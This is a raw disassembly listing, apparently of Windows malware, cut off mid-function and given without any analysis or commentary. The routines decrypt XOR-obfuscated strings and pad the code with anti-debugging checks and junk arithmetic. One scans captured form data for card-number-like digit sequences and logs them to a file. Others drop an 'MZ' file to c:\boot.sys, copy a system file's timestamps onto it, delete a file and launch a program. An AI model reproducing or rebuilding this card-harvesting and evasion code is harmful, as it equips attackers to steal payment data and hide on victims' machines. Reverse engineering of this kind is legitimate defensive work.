mov eax, [ebp+var_62684] push eax mov esi, [eax] call dword ptr [esi+8] loc_407847: ; CODE XREF: sub_406D2E+B0Bj mov [ebp+var_627BA], 0F2h sub [ebp+var_627BA], 5Dh loc_407855: ; CODE XREF: sub_406D2E+883j cmp [ebp+var_62694], 0 jz short loc_40786A mov eax, [ebp+var_62694] push eax mov esi, [eax] call dword ptr [esi+8] loc_40786A: ; CODE XREF: sub_406D2E+B2Ej mov [ebp+var_627BC], 143Bh movzx eax, [ebp+var_627BC] imul eax, 22Eh mov [ebp+var_627BC], ax loc_407887: ; CODE XREF: sub_406D2E+4A1j ; sub_406D2E+AFDj inc [ebp+var_21784] loc_40788D: ; CODE XREF: sub_406D2E+427j mov eax, [ebp+var_525EC] cmp [ebp+var_21784], eax jb loc_40715A loc_40789F: ; CODE XREF: sub_406D2E+28Cj ; sub_406D2E+309j ... inc [ebp+var_524CC] mov eax, [ebp+var_52640] cmp [ebp+var_524CC], eax jl loc_406F67 lea edi, [ebp+var_52656] lea esi, asc_442404 ; "h<" mov ecx, 3 rep movsb loc_4078CA: ; CODE XREF: sub_406D2E+D09j push 0 call sub_40CBD8 pop ecx call sub_40C7C4 ; GetTickCount mov [ebp+var_21786], 0 jmp loc_4079DF ; --------------------------------------------------------------------------- loc_4078E5: ; CODE XREF: sub_406D2E+CBEj mov [ebp+var_62674], 78C0h sub [ebp+var_62674], 6288h lea eax, [ebp+var_524E0] push eax push 0 push [ebp+var_10FA8] movzx edi, [ebp+var_21786] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+20h] mov ebx, eax mov dword ptr [ebp-62678h], 2EABh mov eax, 693Bh mul dword ptr [ebp-62678h] mov [ebp+var_62690], eax mov [ebp-62678h], eax or ebx, ebx jnz loc_4079D8 lea edi, [ebp+var_62688+3] lea esi, byte_442407 xor ecx, ecx inc ecx rep movsb mov eax, dword_442408 mov [ebp+var_6268C+3], eax lea eax, [ebp+var_6266D] push eax push [ebp+var_524D8] call sub_4068C1 add esp, 8 mov edi, eax inc edi mov [ebp+var_62684], edi mov [ebp+var_6267C], 17FCh inc [ebp+var_6267C] cmp [ebp+var_6266D], 0 jz short loc_4079D8 mov word ptr [ebp+var_62680+2], 2AD9h sub word ptr [ebp+var_62680+2], 258Eh cmp [ebp+var_62684], 64h jnb short loc_4079D3 lea eax, [ebp+var_6266D] push eax movzx eax, [ebp+var_21786] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax call sub_40C6D8 loc_4079D3: ; CODE XREF: sub_406D2E+C85j call sub_40C7C4 ; GetTickCount loc_4079D8: ; CODE XREF: sub_406D2E+C13j ; sub_406D2E+C6Aj inc [ebp+var_21786] loc_4079DF: ; CODE XREF: sub_406D2E+BB2j movzx eax, [ebp+var_21786] movzx edx, [ebp+var_2] cmp eax, edx jl loc_4078E5 lea eax, [ebp+var_525FE] push eax mov eax, dword_442370 push eax mov edi, [eax] call dword ptr [edi+7Ch] mov ebx, eax mov [ebp+var_52624], 370Ah inc [ebp+var_52624] or ebx, ebx jnz loc_407E02 lea edi, [ebp+var_52657] lea esi, byte_44240C xor ecx, ecx inc ecx rep movsb cmp [ebp+var_525FE], 0 jz loc_4078CA call sub_40C734 ; GetCurrentProcessId lea edi, [ebp+var_5265D] lea esi, a1o8qz ; "1o8QZ" mov ecx, 3 rep movsw mov [ebp+var_2177D], 0 push offset byte_41FB10 lea eax, [ebp+var_2177D] push eax call sub_40C6D8 mov [ebp+var_525E8], 1 mov [ebp+var_1177E], 0 jmp loc_407B63 ; --------------------------------------------------------------------------- loc_407A86: ; CODE XREF: sub_406D2E+E42j call sub_40C7C4 ; GetTickCount movzx eax, [ebp+var_1177E] imul eax, 64h cmp [ebp+eax+var_524C8], 0 jz loc_407B5C call sub_40C734 ; GetCurrentProcessId and [ebp+var_525E8], 0 push 4 push offset aE ; "ÝØ¥Ç" call sub_406CA2 movzx edi, [ebp+var_1177E] push edi push eax lea edi, [ebp+var_525DF] push edi call sub_40CC50 lea eax, [ebp+var_525DF] push eax lea eax, [ebp+var_2177D] push eax call sub_40CC74 lea edi, [ebp+var_52674] lea esi, aKbX0 ; "k*x0" mov ecx, 3 rep movsw movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_39E28] push eax lea eax, [ebp+var_2177D] push eax call sub_40CC74 push 1 push offset asc_446ECD ; "Ç" call sub_406CA2 push eax lea edi, [ebp+var_2177D] push edi call sub_40CC74 mov ax, word_442419 mov word ptr [ebp+var_52678+2], ax movzx eax, [ebp+var_1177E] imul eax, 64h lea eax, [ebp+eax+var_524C8] push eax lea eax, [ebp+var_2177D] push eax call sub_40CC74 add esp, 3Ch loc_407B5C: ; CODE XREF: sub_406D2E+D6Fj inc [ebp+var_1177E] loc_407B63: ; CODE XREF: sub_406D2E+D53j movzx eax, [ebp+var_1177E] movzx edx, [ebp+var_2] cmp eax, edx jl loc_407A86 cmp [ebp+var_525E8], 0 jnz loc_407D88 lea edi, [ebp+var_52663] lea esi, aJvjm ; "JvjM " mov ecx, 3 rep movsw push 1 push offset asc_446ECB ; "Ý" call sub_406CA2 push eax lea edi, [ebp+var_2177D] push edi call sub_40CC74 call sub_40C734 ; GetCurrentProcessId lea eax, [ebp+var_10001] push eax lea eax, [ebp+var_2177D] push eax call sub_40CC74 add esp, 18h mov eax, dword_442421 mov [ebp+var_52667], eax cmp ds:byte_41FB10, 68h jnz short loc_407BFA cmp ds:byte_41FB11, 74h jnz short loc_407BFA cmp ds:byte_41FB12, 74h jnz short loc_407BFA cmp ds:byte_41FB13, 70h jz short loc_407BFF loc_407BFA: ; CODE XREF: sub_406D2E+EAFj ; sub_406D2E+EB8j ... jmp loc_407D3D ; --------------------------------------------------------------------------- loc_407BFF: ; CODE XREF: sub_406D2E+ECAj call sub_40C7D0 ; GetVersion push 8 push offset aTtSs ; "Óš’’š‘˜Ó" call sub_406CA2 mov edi, 9 sub edi, dword_4423A4 push edi push eax push offset byte_41FB10 call sub_40181A add esp, 14h cmp eax, 0FFFFh jz short loc_407C62 push 0Eh push offset aTtSsSkPs ; "Óš’’š‘˜Óœ™Šœ˜" call sub_406CA2 mov edi, 9 sub edi, dword_4423A4 push edi push eax push offset byte_41FB10 call sub_40181A add esp, 14h cmp eax, 0FFFFh jz loc_407D3D loc_407C62: ; CODE XREF: sub_406D2E+F01j call sub_40C740 ; GetCurrentThreadId mov [ebp+var_525EE], 0 loc_407C70: ; CODE XREF: sub_406D2E+FE1j mov eax, 13h sub eax, dword_4423A8 push eax movzx eax, [ebp+var_525EE] lea eax, ds:4423B4h[eax] push eax push offset byte_41FB10 call sub_40181A add esp, 0Ch cmp eax, 0FFFFh jz short loc_407CB8 call sub_40C7D0 ; GetVersion push 1 lea eax, [ebp+var_2177D] push eax call ds:dword_40F1D8 jmp loc_407D3D ; --------------------------------------------------------------------------- loc_407CB8: ; CODE XREF: sub_406D2E+F6Fj movzx eax, [ebp+var_525EE] mov [ebp+var_52674], eax lea ecx, ds:4423B4h[eax] or eax, 0FFFFFFFFh loc_407CCF: ; CODE XREF: sub_406D2E+FA6j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407CCF mov esi, [ebp+var_52674] add esi, eax mov edi, esi mov [ebp+var_525EE], di mov [ebp+var_52626], 4EA9h add [ebp+var_52626], 266Bh inc [ebp+var_525EE] movzx eax, [ebp+var_525EE] cmp byte_4423B4[eax], 0 jnz loc_407C70 call sub_40C740 ; GetCurrentThreadId push 0 lea eax, [ebp+var_2177D] push eax call ds:dword_40F1D8 lea edi, [ebp+var_5266D] lea esi, aG5ah ; "'G5aH" mov ecx, 3 rep movsw loc_407D3D: ; CODE XREF: sub_406D2E:loc_407BFAj ; sub_406D2E+F2Ej ... mov [ebp+var_21788], 0 jmp short loc_407D74 ; --------------------------------------------------------------------------- loc_407D48: ; CODE XREF: sub_406D2E+1053j movzx edi, [ebp+var_21788] cmp [ebp+edi*4+var_10FA4], 0 jz short loc_407D6D movzx edi, [ebp+var_21788] mov edi, [ebp+edi*4+var_10FA4] push edi mov edi, [edi] call dword ptr [edi+8] loc_407D6D: ; CODE XREF: sub_406D2E+1029j inc [ebp+var_21788] loc_407D74: ; CODE XREF: sub_406D2E+1018j movzx eax, [ebp+var_21788] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_407D48 call sub_40C7D0 ; GetVersion loc_407D88: ; CODE XREF: sub_406D2E+400j ; sub_406D2E+E4Fj cmp [ebp+var_525E4], 0 jz short loc_407D9D mov eax, [ebp+var_525E4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407D9D: ; CODE XREF: sub_406D2E+1061j mov [ebp+var_5262C], 522Eh inc [ebp+var_5262C] cmp [ebp+var_52610], 0 jz short loc_407DC2 mov eax, [ebp+var_52610] push eax mov esi, [eax] call dword ptr [esi+8] loc_407DC2: ; CODE XREF: sub_406D2E+1086j call sub_40C794 ; GetProcessHeap cmp [ebp+var_52608], 0 jz short loc_407DDC mov eax, [ebp+var_52608] push eax mov esi, [eax] call dword ptr [esi+8] loc_407DDC: ; CODE XREF: sub_406D2E+10A0j lea edi, [ebp+var_5266E] lea esi, byte_44242B xor ecx, ecx inc ecx rep movsb loc_407DED: ; CODE XREF: sub_406D2E+227j cmp [ebp+var_52604], 0 jz short loc_407E02 mov eax, [ebp+var_52604] push eax mov esi, [eax] call dword ptr [esi+8] loc_407E02: ; CODE XREF: sub_406D2E+130j ; sub_406D2E+181j ... cmp [ebp+var_525FC], 0 jz short loc_407E17 mov eax, [ebp+var_525FC] push eax mov esi, [eax] call dword ptr [esi+8] loc_407E17: ; CODE XREF: sub_406D2E+10DBj mov [ebp+var_5262D], 0FDh add [ebp+var_5262D], 1 loc_407E25: ; CODE XREF: sub_406D2E+101j cmp [ebp+var_525F4], 0 jz short loc_407E3A mov eax, [ebp+var_525F4] push eax mov esi, [eax] call dword ptr [esi+8] loc_407E3A: ; CODE XREF: sub_406D2E+10FEj call sub_40C7D0 ; GetVersion jmp loc_406D95 ; --------------------------------------------------------------------------- loc_407E44: ; CODE XREF: sub_406D2E+5Cj pop edi pop esi pop ebx leave retn sub_406D2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407E49 proc near ; DATA XREF: sub_407F07+2Co var_20 = dword ptr -20h var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_44242C push offset sub_40109A mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp+var_18], esp call sub_40C740 ; GetCurrentThreadId mov [ebp+var_4], 0 mov [ebp+var_19], 9 movzx edi, [ebp+var_19] mov esi, edi add esi, edi mov ebx, esi mov [ebp+var_19], bl loc_407E8C: ; CODE XREF: sub_407E49+83j ; sub_407E49+A3j mov [ebp+var_1A], 0DFh movzx edi, [ebp+var_1A] mov esi, edi add esi, edi mov ebx, esi mov [ebp+var_1A], bl mov edi, dword_4423A4 add edi, 1ECh push edi call sub_40CBD8 add esp, 4 call sub_406D2E mov [ebp+var_20], 12EBh add [ebp+var_20], 59A8h cmp dword_4423B0, 0 jnz short loc_407E8C jmp short loc_407EF5 ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh jmp short loc_407EF5 ; --------------------------------------------------------------------------- mov dword ptr [ebp-1Ch], 1 mov eax, [ebp-1Ch] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] call sub_40C7D0 ; GetVersion jmp short loc_407E8C ; --------------------------------------------------------------------------- mov [ebp+var_4], 0FFFFFFFFh loc_407EF5: ; CODE XREF: sub_407E49+85j ; sub_407E49+8Ej pop edi pop esi pop ebx xchg eax, ecx mov eax, [ebp+var_10] mov large fs:0, eax xchg eax, ecx leave retn 4 sub_407E49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F07 proc near ; CODE XREF: sub_40AA24+7F9p var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi push edi lea edi, [ebp+var_2] lea esi, dword_442438 xor ecx, ecx inc ecx rep movsb mov eax, [ebp+arg_0] mov ds:dword_40F1D8, eax mov ebx, 6DB8h inc ebx push offset dword_4423B0 push 0 push 0 push offset sub_407E49 push 0 push 0 call sub_40C980 ; CreateThread mov ebx, eax mov [ebp+var_1], 0E3h add [ebp+var_1], 63h push ebx call sub_40C7AC ; CloseHandle call sub_40C7D0 ; GetVersion pop edi pop esi pop ebx leave retn sub_407F07 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edi call sub_40C7D0 ; GetVersion cmp dword_442370, 0 jnz short loc_407F71 xor eax, eax jmp short loc_407FB9 ; --------------------------------------------------------------------------- loc_407F71: ; CODE XREF: .text:00407F6Bj call sub_40C764 ; RtlGetLastWin32Error mov eax, ds:dword_42FB14 cmp [ebp+8], eax jz short loc_407F84 xor eax, eax jmp short loc_407FB9 ; --------------------------------------------------------------------------- loc_407F84: ; CODE XREF: .text:00407F7Ej call sub_40C734 ; GetCurrentProcessId lea ecx, byte_41FB10 or eax, 0FFFFFFFFh loc_407F92: ; CODE XREF: .text:00407F97j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_407F92 mov edi, eax add edi, 1 push edi push offset byte_41FB10 push dword ptr [ebp+0Ch] call sub_40CC14 add esp, 0Ch call sub_40C854 ; IsDebuggerPresent mov eax, 1 loc_407FB9: ; CODE XREF: .text:00407F6Fj ; .text:00407F82j pop edi pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FBC proc near ; CODE XREF: sub_408048+22Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_442444 lea eax, ds:415580h[eax] push eax call sub_40CC14 add esp, 0Ch mov [ebp+var_4], 0D2h xor edi, edi jmp short loc_408003 ; --------------------------------------------------------------------------- loc_407FE9: ; CODE XREF: sub_407FBC+49j mov eax, dword_442444 add eax, edi lea eax, ds:415580h[eax] movsx edx, byte ptr [eax] xor edx, 0FDh mov [eax], dl inc edi loc_408003: ; CODE XREF: sub_407FBC+2Bj cmp edi, esi jl short loc_407FE9 mov eax, dword_442444 add eax, esi mov byte ptr ds:dword_415580[eax], 0 mov edi, dword_442444 add dword_442444, 3 mov eax, dword_442444 inc eax add eax, esi mov dword_442444, eax cmp eax, 0DC5h jle short loc_40803E and dword_442444, 0 loc_40803E: ; CODE XREF: sub_407FBC+79j lea eax, dword_415580[edi] pop edi pop esi leave retn sub_407FBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408048 proc near ; DATA XREF: sub_40AA24+7F4o var_2A = byte ptr -2Ah var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_12 = word ptr -12h var_10 = dword ptr -10h var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi mov [ebp+var_13], 0BEh add [ebp+var_13], 3Fh and [ebp+var_4], 0 and [ebp+var_8], 0 and [ebp+var_10], 0 loc_408065: ; CODE XREF: sub_408048+15Ej ; sub_408048+169j ... mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ah jnz loc_408179 mov [ebp+var_18], 723h sub [ebp+var_18], 2278h mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [eax+edx+11h], 20h jz short loc_40809B cmp byte ptr [eax+edx+14h], 20h jnz loc_408179 loc_40809B: ; CODE XREF: sub_408048+46j mov eax, [ebp+var_4] inc eax mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 34h jz short loc_4080B1 cmp al, 35h jnz loc_408179 loc_4080B1: ; CODE XREF: sub_408048+5Fj mov eax, [ebp+var_4] add eax, 11h mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 20h jnz short loc_4080C9 mov [ebp+var_8], 10h jmp short loc_4080D0 ; --------------------------------------------------------------------------- loc_4080C9: ; CODE XREF: sub_408048+76j mov [ebp+var_8], 13h loc_4080D0: ; CODE XREF: sub_408048+7Fj mov [ebp+var_9], 0 xor ebx, ebx jmp short loc_408150 ; --------------------------------------------------------------------------- loc_4080D8: ; CODE XREF: sub_408048+10Bj call sub_40C7D0 ; GetVersion cmp [ebp+var_8], 13h jnz short loc_408119 mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 2Dh jnz short loc_408119 mov edi, 5 mov esi, ebx inc esi mov [ebp+var_1C], edi mov eax, esi mov ecx, edi xor edx, edx div ecx mov [ebp+var_20], eax mov eax, edi mov edi, [ebp+var_20] mul [ebp+var_20] mov [ebp+var_24], eax mov edi, eax cmp edi, esi jz short loc_40814F loc_408119: ; CODE XREF: sub_408048+99j ; sub_408048+A8j call sub_40C854 ; IsDebuggerPresent mov eax, [ebp+var_4] inc eax add eax, ebx mov edx, [ebp+arg_0] mov al, [edx+eax] cmp al, 30h jl short loc_408132 cmp al, 39h jle short loc_408134 loc_408132: ; CODE XREF: sub_408048+E4j jmp short loc_408179 ; --------------------------------------------------------------------------- loc_408134: ; CODE XREF: sub_408048+E8j movzx eax, [ebp+var_9] mov edx, [ebp+var_4] inc edx add edx, ebx mov ecx, [ebp+arg_0] mov dl, [ecx+edx] mov ds:byte_433FE0[eax], dl add [ebp+var_9], 1 loc_40814F: ; CODE XREF: sub_408048+CFj inc ebx loc_408150: ; CODE XREF: sub_408048+8Ej cmp ebx, [ebp+var_8] jb short loc_4080D8 mov eax, [ebp+var_8] mov ds:byte_433FE0[eax], 0 call sub_40133B or eax, eax jz short loc_408170 call sub_40C734 ; GetCurrentProcessId jmp short loc_408179 ; --------------------------------------------------------------------------- loc_408170: ; CODE XREF: sub_408048+11Fj mov [ebp+var_10], 1 jmp short loc_4081E7 ; --------------------------------------------------------------------------- loc_408179: ; CODE XREF: sub_408048+27j ; sub_408048+4Dj ... inc [ebp+var_4] mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 0 jz short loc_4081E3 mov [ebp+var_12], 2C6Eh movzx eax, [ebp+var_12] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_12], ax mov eax, [ebp+var_4] mov edx, [ebp+arg_0] cmp byte ptr [edx+eax], 3Ch jnz loc_408065 cmp byte ptr [eax+edx+1], 46h jnz loc_408065 cmp byte ptr [eax+edx+2], 4Fh jnz loc_408065 cmp byte ptr [eax+edx+3], 52h jnz loc_408065 cmp byte ptr [eax+edx+4], 4Dh jnz loc_408065 cmp byte ptr [eax+edx+5], 5Fh jnz loc_408065 loc_4081E3: ; CODE XREF: sub_408048+13Ej and [ebp+var_10], 0 loc_4081E7: ; CODE XREF: sub_408048+12Fj cmp [ebp+var_10], 0 jz short loc_4081FC mov eax, ds:dword_42FB14 mov dword_43C21C, eax jmp loc_4082A6 ; --------------------------------------------------------------------------- loc_4081FC: ; CODE XREF: sub_408048+1A3j call sub_40C854 ; IsDebuggerPresent push 0 push 0 push 4 push 0 push 0 push 40000000h push offset dword_40E080 call sub_40C8CC ; CreateFileA mov [ebp+var_1C], eax mov [ebp+var_20], 7776h add [ebp+var_20], 6412h push 2 push 0 push 0 push eax call sub_40C8D8 ; SetFilePointer call sub_40C734 ; GetCurrentProcessId mov eax, [ebp+arg_0] mov ecx, eax or eax, 0FFFFFFFFh loc_408244: ; CODE XREF: sub_408048+201j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_408244 mov edi, eax push 0 lea esi, [ebp+var_24] push esi push edi push [ebp+arg_0] push [ebp+var_1C] call sub_40C944 ; WriteFile lea edi, [ebp+var_2A] lea esi, aQKy ; "~Q ky" mov ecx, 6 rep movsb push 2 push offset byte_446EB0 call sub_407FBC add esp, 8 push 0 lea edi, [ebp+var_24] push edi mov edi, 14h sub edi, dword_442440 push edi push eax push [ebp+var_1C] call sub_40C944 ; WriteFile call sub_40C7C4 ; GetTickCount push [ebp+var_1C] call sub_40C7AC ; CloseHandle loc_4082A6: ; CODE XREF: sub_408048+1AFj pop edi pop esi pop ebx leave retn sub_408048 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4082AB proc near ; CODE XREF: sub_40833E+76p ; sub_40844F+DEp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 0Dh push esi push [ebp+arg_0] mov eax, dword_446458 lea eax, ds:40D000h[eax] push eax call sub_40CC14 add esp, 0Ch xor edi, edi jmp short loc_4082F0 ; --------------------------------------------------------------------------- loc_4082D9: ; CODE XREF: sub_4082AB+47j mov eax, dword_446458 add eax, edi lea eax, ds:40D000h[eax] movsx edx, byte ptr [eax] xor edx, 3Ah mov [eax], dl inc edi loc_4082F0: ; CODE XREF: sub_4082AB+2Cj cmp edi, esi jl short loc_4082D9 mov eax, dword_446458 add eax, esi mov byte ptr ds:dword_40D000[eax], 0 xor edi, edi mov edi, dword_446458 inc dword_446458 mov eax, dword_446458 lea eax, [eax+esi+6] mov dword_446458, eax cmp eax, 0DFAh jle short loc_40832D and dword_446458, 0 loc_40832D: ; CODE XREF: sub_4082AB+79j mov [ebp+var_8], 337h lea eax, dword_40D000[edi] pop edi pop esi leave retn sub_4082AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40833E proc near ; CODE XREF: sub_40844F+90p var_22C = word ptr -22Ch var_22A = byte ptr -22Ah var_222 = byte ptr -222h var_21A = byte ptr -21Ah var_212 = dword ptr -212h var_20E = byte ptr -20Eh var_109 = byte ptr -109h var_108 = word ptr -108h var_105 = byte ptr -105h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 22Ch push esi push edi call sub_40C7C4 ; GetTickCount mov eax, dword_44645C mov [ebp+var_212], eax mov [ebp+var_108], 1671h movzx eax, [ebp+var_108] imul eax, 49FCh mov [ebp+var_108], ax push 104h lea eax, [ebp+var_20E] push eax call sub_40C7A0 ; GetSystemDirectoryA mov [ebp+var_109], 7Ch add [ebp+var_109], 1 lea eax, [ebp+var_20E] push eax lea eax, [ebp+var_105] push eax call sub_40C6D8 call sub_40C7D0 ; GetVersion push 0Dh push offset word_446EA2 call sub_4082AB push eax lea esi, [ebp+var_105] push esi call sub_40CC74 add esp, 10h push 0 push 0 push 3 push 0 push 0 push 80000001h lea eax, [ebp+var_105] push eax call sub_40C8CC ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_40844B call sub_40C764 ; RtlGetLastWin32Error lea eax, [ebp+var_22A] push eax lea eax, [ebp+var_222] push eax lea eax, [ebp+var_21A] push eax push edi call sub_40C758 ; GetFileTime lea eax, [ebp+var_22A] push eax lea eax, [ebp+var_222] push eax lea eax, [ebp+var_21A] push eax push [ebp+arg_0] call sub_40C8E4 ; SetFileTime push edi call sub_40C7AC ; CloseHandle mov [ebp+var_22C], 0BCFh movzx eax, [ebp+var_22C] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_22C], ax loc_40844B: ; CODE XREF: sub_40833E+ABj pop edi pop esi leave retn sub_40833E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40844F proc near ; CODE XREF: sub_40AA24+8Dp var_22B = byte ptr -22Bh var_228 = byte ptr -228h var_220 = byte ptr -220h var_21B = byte ptr -21Bh var_218 = byte ptr -218h var_114 = byte ptr -114h var_108 = word ptr -108h var_105 = byte ptr -105h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 22Ch push ebx push esi push edi call sub_40C7D0 ; GetVersion call sub_40C7D0 ; GetVersion cmp eax, 80000000h jnb loc_4085A0 lea edi, [ebp+var_114] lea esi, aCBoot_sys ; "c:\\boot.sys" mov ecx, 3 rep movsd lea edi, [ebp+var_21B] lea esi, aRi ; "rI" mov ecx, 3 rep movsb push 0 push 0 push 2 push 0 push 0 push 40000000h lea eax, [ebp+var_114] push eax call sub_40C8CC ; CreateFileA mov ebx, eax mov [ebp+var_108], 7171h sub [ebp+var_108], 3D17h push 0 lea eax, [ebp+var_220] push eax push 4001h push offset aMzr ; "MZ" push ebx call sub_40C944 ; WriteFile push ebx call sub_40833E call sub_40C740 ; GetCurrentThreadId push ebx call sub_40C7AC ; CloseHandle lea edi, [ebp+var_228] lea esi, byte_44646F mov ecx, 2 rep movsd lea edi, [ebp+var_22B] lea esi, byte_446477 mov ecx, 3 rep movsb push 104h lea eax, [ebp+var_104] push eax call sub_40C7A0 ; GetSystemDirectoryA push 0Ah push offset byte_446E97 call sub_4082AB lea edi, [ebp+var_104] push edi push eax lea edi, [ebp+var_218] push edi call sub_40CC50 call sub_40C740 ; GetCurrentThreadId push 1Dh push offset byte_446E79 call sub_4082AB push eax lea edi, [ebp+var_104] push edi call sub_40CC74 add esp, 28h call sub_40C740 ; GetCurrentThreadId lea eax, [ebp+var_218] push eax call sub_40C704 ; DeleteFileA mov [ebp+var_105], 45h movzx eax, [ebp+var_105] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_105], al push 0 lea eax, [ebp+var_104] push eax call sub_40C938 ; WinExec loc_4085A0: ; CODE XREF: sub_40844F+1Bj pop edi pop esi pop ebx leave retn sub_40844F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+0Ch] push esi push dword ptr [ebp+8] mov eax, dword_446504 lea eax, ds:432DD0h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-4], 1E6h xor edi, edi jmp short loc_4085EB ; --------------------------------------------------------------------------- loc_4085D4: ; CODE XREF: .text:004085EDj mov eax, dword_446504 add eax, edi lea eax, ds:432DD0h[eax] movsx edx, byte ptr [eax] xor edx, 0Fh mov [eax], dl inc edi loc_4085EB: ; CODE XREF: .text:004085D2j cmp edi, esi jl short loc_4085D4 mov dword ptr [ebp-8], 237h mov eax, dword_446504 add eax, esi mov byte ptr ds:dword_432DD0[eax], 0 xor edi, edi mov edi, dword_446504 add dword_446504, 2 mov eax, dword_446504 add eax, 6 add eax, esi mov dword_446504, eax add dword_446504, 2 cmp dword_446504, 0DC4h jle short loc_40863D and dword_446504, 0 loc_40863D: ; CODE XREF: .text:00408634j mov dword ptr [ebp-0Ch], 65h lea eax, dword_432DD0[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40864E proc near ; CODE XREF: sub_408779+43p var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_40C7D0 ; GetVersion push 4 push 1000h push [ebp+arg_0] push 0 call sub_40C908 ; VirtualAlloc jmp short locret_40867B ; --------------------------------------------------------------------------- mov [ebp+var_1], 3Fh movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al locret_40867B: ; CODE XREF: sub_40864E+1Aj leave retn sub_40864E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40867D proc near ; CODE XREF: sub_408779+E6p arg_0 = dword ptr 8 push ebp mov ebp, esp call sub_40C740 ; GetCurrentThreadId push 8000h push 0 push [ebp+arg_0] call sub_40C914 ; VirtualFree jmp short loc_40869B ; --------------------------------------------------------------------------- call sub_40C794 ; GetProcessHeap loc_40869B: ; CODE XREF: sub_40867D+17j pop ebp retn sub_40867D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi push edi mov esi, [ebp+0Ch] mov dword ptr [ebp-4], 2A0h push esi push dword ptr [ebp+8] mov eax, dword_446510 lea eax, ds:43A570h[eax] push eax call sub_40CC14 add esp, 0Ch mov dword ptr [ebp-8], 2B3h xor edi, edi jmp short loc_4086ED ; --------------------------------------------------------------------------- loc_4086D3: ; CODE XREF: .text:004086EFj mov eax, dword_446510 add eax, edi lea eax, ds:43A570h[eax] movsx edx, byte ptr [eax] xor edx, 0F6h mov [eax], dl inc edi loc_4086ED: ; CODE XREF: .text:004086D1j cmp edi, esi jl short loc_4086D3 mov dword ptr [ebp-0Ch], 25h mov eax, dword_446510 add eax, esi mov byte ptr ds:dword_43A570[eax], 0 mov edi, dword_446510 inc dword_446510 mov eax, dword_446510 add eax, 5 add eax, esi mov dword_446510, eax cmp eax, 0E06h jle short loc_408730 and dword_446510, 0 loc_408730: ; CODE XREF: .text:00408727j mov dword ptr [ebp-10h], 20Bh lea eax, dword_43A570[edi] pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408741 proc near ; CODE XREF: sub_408779+103p var_4 = word ptr -4 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 19C3h sub [ebp+var_4], 4EAAh push offset dword_4464BC push offset dword_44647C push [ebp+arg_4] push [ebp+arg_0] call sub_40BC80 mov [ebp+var_1], 19h movzx eax, [ebp+var_1] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_1], al leave retn sub_408741 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408779 proc near ; CODE XREF: sub_4098A8+4E0p var_71 = word ptr -71h var_6F = byte ptr -6Fh var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_62 = byte ptr -62h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = 